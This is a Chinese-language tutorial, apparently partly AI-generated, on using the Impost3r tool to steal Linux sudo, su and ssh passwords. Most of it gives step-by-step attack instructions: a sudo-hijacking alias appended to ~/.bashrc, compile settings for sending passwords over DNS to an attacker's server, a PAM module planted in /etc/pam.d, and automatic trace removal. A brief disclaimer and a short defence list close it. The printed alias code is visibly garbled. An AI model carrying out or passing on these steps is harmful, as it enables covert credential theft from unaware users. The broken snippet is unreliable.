
Impost3r实战教程如何利用水坑攻击悄无声息窃取sudo密码【免费下载链接】Impost3rImpost3r -- A linux password thief项目地址: https://gitcode.com/gh_mirrors/im/Impost3rImpost3r 是一款用 C 语言编写的开源 Linux 密码窃取工具专为水坑攻击Watering Hole Attack场景设计能够在目标用户毫无察觉的情况下窃取 sudo、su、ssh 三类密码并通过 DNS 协议将窃取结果秘密回传。本文将以实战视角从原理到落地一步步带你复现如何利用水坑攻击在 Linux 服务器上悄无声息地窃取 sudo 密码并在文末给出对应的防御思路。什么是Impost3rLinux密码窃取的一把隐形刀Impost3r 的目标很纯粹在攻击者已经控制一台 Linux 服务器哪怕只有普通用户权限的前提下等待合法用户输入 sudo 密码时将其截获。它之所以被称为隐形源于三个核心特性自动擦除行为痕迹窃取成功后自动恢复被篡改的配置文件、删除木马本体无需攻击者二次登录清理DNS协议外带数据密码经 Base32 编码后伪装成 DNS 查询请求发出难以被常规流量监控发现用户全程无感伪造的 sudo 界面与真实界面几乎一致受害者完全不会察觉异常更难得的是整个项目只依赖gcc一个编译工具轻量到几乎可以部署在任何 Linux 发行版上。水坑攻击原理为什么受害者毫无察觉水坑攻击借鉴了自然界猎手在水源地伏击猎物的策略攻击者不直接进攻目标而是在目标必经之路这里是被控服务器上设下陷阱等待猎物自己送上门。Impost3r 针对 sudo 的具体原理并不复杂核心是利用 Bash 的alias机制攻击者在用户的~/.bashrc末尾追加一段 alias将sudo命令重定向到木马程序用户输入sudo xxx时实际执行的是 Impost3r 伪造的 sudo木马关闭终端回显用户看不到自己输入的字符这与真实 sudo 行为一致窃取密码木马用窃取到的密码调用真实的/usr/bin/sudo验证——只有密码正确才继续避免打草惊蛇密码经 Base32 编码后拆分成多个 DNS 查询包发送到攻击者控制的 DNS 服务器全部完成后自动恢复现场抹除所有痕迹整个过程用户看到的只是一次正常的 sudo 密码输入这正是水坑攻击的精髓所在。实战开始窃取sudo密码只需五步⚠️ 郑重提醒本教程仅用于安全研究与教学场景未经授权对他人系统实施攻击属于违法行为请务必在法律允许的范围内学习使用。第一步环境准备与权限确认以普通用户身份控制目标服务器后先完成三件事确认 sudoer 权限执行sudo -v如果提示不在 sudoers 文件中说明该用户无法使用 sudoImpost3r 无法生效切勿强行使用检查用户配置文件确认~/.bash_profile、~/.bash_login、~/.profile中哪个文件主动加载了~/.bashrc多数发行版默认由.profile加载。如果.bashrc不会被加载后续操作需替换为实际加载的那个文件准备编译环境目标机器上安装 gcc尽量在目标服务器上编译避免环境差异导致运行异常第二步在.bashrc中植入sudo别名后门备份原配置文件然后在~/.bashrc末尾追加如下别名代码alias sudoimpost3r() { if [ -f /tmp/.impost3r ]; then /tmp/.impost3r $ unalias sudo else unalias sudo;sudo $ fi }; impost3r这段代码的逻辑是当木马文件存在时先执行木马窃取密码否则直接调用真实 sudo确保后门失效时也不影响用户体验。保存后执行source ~/.bashrc使其生效。第三步配置参数并编译木马修改源码 sudo/main.h 中的自定义配置项FILENAME木马在目标服务器上的路径如/tmp/.impost3r需与 alias 中的路径一致BACKUP_ORI_FILENAME/BACKUP_ORI_PATH备份的原始配置文件及位置SAVE_OR_SEND结果回传方式0表示 DNS 发送1表示本地保存YOUR_DOMAIN、REMOTE_ADDRESS、REMOTE_PORT接收密码的 DNS 服务器地址与端口默认 53 端口MAX_RESEND/RESEND_INTERVAL发送失败时的最大重试次数与间隔配置完成后在sudo/目录下执行make即可得到编译产物.impost3r。第四步上传木马并启动DNS接收端将编译好的.impost3r上传至目标服务器的/tmp/目录与配置的FILENAME一致。然后在攻击者自己的服务器上启动接收端使用项目 Fdns 目录下的 DNS 服务端源码先修改main.c中的监听端口执行gcc -o dns main.c util.c编译运行 dns 服务端静待猎物上钩第五步静待密码上钩与自动擦除痕迹当目标用户使用 sudo 时Impost3r 会伪造出与真实 sudo 完全一致的密码提示界面捕获密码后立即用真实 sudo 校验。密码正确则通过 DNS 查询包回传至你的服务器随后自动完成清理恢复被篡改的.bashrc、删除木马文件全程无需攻击者再次登录。进阶玩法以root权限窃取ssh/su密码如果攻击者已经拿到 root 权限还可以使用 Impost3r 的另一套方案——通过 PAM 模块窃取 ssh 和 su 密码修改 ssh_su/main.h 中的配置SSH_OR_BOTH可设置仅窃取 ssh 密码0或同时窃取 ssh 与 su 密码1在ssh_su/目录下执行make得到impost3r.so将impost3r.so上传至/lib/x86_64-linux-gnu/security/目录仅窃取 ssh 密码时在/etc/pam.d/sshd末尾追加auth optional impost3r.so和account optional impost3r.so同时窃取 su 密码则修改common-auth重启 sshd 服务生效之后任何用户通过 ssh 登录或使用 su 切换用户密码都会被 PAM 模块截获。需要说明的是该模式下由于权限原因无法自动清理痕迹需要攻击者手动清除。防守反击如何防御水坑攻击了解攻击手段后防守思路就清晰多了️定期检查配置文件重点审计~/.bashrc、~/.profile等文件是否被追加了可疑的 alias 或加载项️审查 PAM 配置检查/etc/pam.d/下是否存在来历不明的optional认证模块️监控异常 DNS 流量对形如 Base32 编码特征的域名查询保持警惕️坚持最小权限原则避免使用 root 运行服务减少被利用面️及时更新与审计对服务器做定期的安全巡检和日志审计总结知己知彼方能百战不殆Impost3r 向我们展示了水坑攻击在 Linux 环境下的完整杀伤链仅凭普通用户权限就能通过 Bash 别名劫持 sudo 窃取密码并以 DNS 外带的方式隐蔽回传最后自动清理痕迹。对于安全从业者而言掌握这类工具的运作原理既是攻防演练的必备技能也是构建有效防御体系的前提。切记技术本身无善恶使用须守法律与道德的边界。如需获取完整源码进行学习研究可通过git clone https://gitcode.com/gh_mirrors/im/Impost3r拉取项目。【免费下载链接】Impost3rImpost3r -- A linux password thief项目地址: https://gitcode.com/gh_mirrors/im/Impost3r创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考